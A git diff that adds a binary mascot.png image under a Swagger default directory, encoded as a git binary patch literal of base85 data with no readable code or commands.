+ + diff --git a/swagger/default/mascot.png b/swagger/default/mascot.png new file mode 100644 index 0000000000000000000000000000000000000000..0210168fd06a3a2b7965d6e3f1a0b2a3e32d2f75 GIT binary patch literal 28825 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 